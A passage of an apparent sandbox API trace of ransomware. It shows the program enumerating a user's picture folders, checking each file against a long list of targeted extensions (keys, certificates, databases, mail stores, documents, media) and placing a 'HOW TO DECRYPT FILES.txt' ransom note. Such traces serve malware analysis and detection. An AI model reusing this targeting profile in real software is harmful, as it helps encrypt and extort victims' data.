[0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.pem") returned 0 [0091.075] lstrlenA (lpString="*.pem") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.p12") returned 0 [0091.076] lstrlenA (lpString="*.p12") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.gpg") returned 0 [0091.076] lstrlenA (lpString="*.gpg") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.vsd") returned 0 [0091.076] lstrlenA (lpString="*.vsd") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.odg") returned 0 [0091.076] lstrlenA (lpString="*.odg") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.raw") returned 0 [0091.076] lstrlenA (lpString="*.raw") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.nef") returned 0 [0091.076] lstrlenA (lpString="*.nef") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.svg") returned 0 [0091.076] lstrlenA (lpString="*.svg") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.psd") returned 0 [0091.076] lstrlenA (lpString="*.psd") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.vmx") returned 0 [0091.076] lstrlenA (lpString="*.vmx") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.vmdk") returned 0 [0091.076] lstrlenA (lpString="*.vmdk") returned 6 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.vdi") returned 0 [0091.076] lstrlenA (lpString="*.vdi") returned 5 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.lay6") returned 0 [0091.076] lstrlenA (lpString="*.lay6") returned 6 [0091.076] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mpeg") returned 0 [0091.076] lstrlenA (lpString="*.mpeg") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.djvu") returned 0 [0091.077] lstrlenA (lpString="*.djvu") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.tiff") returned 0 [0091.077] lstrlenA (lpString="*.tiff") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.backup") returned 0 [0091.077] lstrlenA (lpString="*.backup") returned 8 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.pdf") returned 0 [0091.077] lstrlenA (lpString="*.pdf") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.cert") returned 0 [0091.077] lstrlenA (lpString="*.cert") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.docm") returned 0 [0091.077] lstrlenA (lpString="*.docm") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.xlsm") returned 0 [0091.077] lstrlenA (lpString="*.xlsm") returned 6 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.dwg") returned 0 [0091.077] lstrlenA (lpString="*.dwg") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.nd") returned 0 [0091.077] lstrlenA (lpString="*.nd") returned 4 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.tlg") returned 0 [0091.077] lstrlenA (lpString="*.tlg") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.lgb") returned 0 [0091.077] lstrlenA (lpString="*.lgb") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mov") returned 0 [0091.077] lstrlenA (lpString="*.mov") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.xdw") returned 0 [0091.077] lstrlenA (lpString="*.xdw") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.ods") returned 0 [0091.077] lstrlenA (lpString="*.ods") returned 5 [0091.077] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.wav") returned 0 [0091.077] lstrlenA (lpString="*.wav") returned 5 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mp3") returned 0 [0091.078] lstrlenA (lpString="*.mp3") returned 5 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.aiff") returned 0 [0091.078] lstrlenA (lpString="*.aiff") returned 6 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.flac") returned 0 [0091.078] lstrlenA (lpString="*.flac") returned 6 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.m4a") returned 0 [0091.078] lstrlenA (lpString="*.m4a") returned 5 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.csv") returned 0 [0091.078] lstrlenA (lpString="*.csv") returned 5 [0091.078] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x502a3570, ftCreationTime.dwHighDateTime=0x1d5dff6, ftLastAccessTime.dwLowDateTime=0x976d89b0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x976d89b0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0xefdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMbKr K.jpg", cAlternateFileName="AMBKRK~1.JPG")) returned 1 [0091.078] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0091.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AMbKr K.jpg") returned 1 [0091.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AMbKr K.jpg") returned 1 [0091.078] lstrcmpiA (lpString1="", lpString2="AMbKr K.jpg") returned -1 [0091.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif") returned="5AYwfKjXmMYJmy3l.gif" [0091.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" [0091.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\") returned="" [0091.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt" [0091.078] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\how to decrypt files.txt")) returned 0x20 [0091.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\", lpString2="AMbKr K.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.ems") returned 0 [0091.078] lstrlenA (lpString="*.ems") returned 5 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.db") returned 0 [0091.078] lstrlenA (lpString="*.db") returned 4 [0091.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.dbf") returned 0 [0091.079] lstrlenA (lpString="*.dbf") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.myox") returned 0 [0091.079] lstrlenA (lpString="*.myox") returned 6 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.myo") returned 0 [0091.079] lstrlenA (lpString="*.myo") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbw") returned 0 [0091.079] lstrlenA (lpString="*.qbw") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbb") returned 0 [0091.079] lstrlenA (lpString="*.qbb") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbm") returned 0 [0091.079] lstrlenA (lpString="*.qbm") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbo") returned 0 [0091.079] lstrlenA (lpString="*.qbo") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbx") returned 0 [0091.079] lstrlenA (lpString="*.qbx") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qba") returned 0 [0091.079] lstrlenA (lpString="*.qba") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qby") returned 0 [0091.079] lstrlenA (lpString="*.qby") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qbj") returned 0 [0091.079] lstrlenA (lpString="*.qbj") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.ofx") returned 0 [0091.079] lstrlenA (lpString="*.ofx") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.qif") returned 0 [0091.079] lstrlenA (lpString="*.qif") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.mye") returned 0 [0091.079] lstrlenA (lpString="*.mye") returned 5 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.mbox") returned 0 [0091.079] lstrlenA (lpString="*.mbox") returned 6 [0091.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.eml") returned 0 [0091.079] lstrlenA (lpString="*.eml") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.pst") returned 0 [0091.080] lstrlenA (lpString="*.pst") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.ost") returned 0 [0091.080] lstrlenA (lpString="*.ost") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.idx") returned 0 [0091.080] lstrlenA (lpString="*.idx") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.dbx") returned 0 [0091.080] lstrlenA (lpString="*.dbx") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.sql") returned 0 [0091.080] lstrlenA (lpString="*.sql") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.mdb") returned 0 [0091.080] lstrlenA (lpString="*.mdb") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.fdb") returned 0 [0091.080] lstrlenA (lpString="*.fdb") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.wab") returned 0 [0091.080] lstrlenA (lpString="*.wab") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.dat") returned 0 [0091.080] lstrlenA (lpString="*.dat") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.txt") returned 0 [0091.080] lstrlenA (lpString="*.txt") returned 5 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.jpeg") returned 0 [0091.080] lstrlenA (lpString="*.jpeg") returned 6 [0091.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg", pszSpec="*.jpg") returned 1 [0091.080] lstrlenA (lpString="*.jpg") returned 5 [0091.080] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" [0091.080] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" [0091.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i 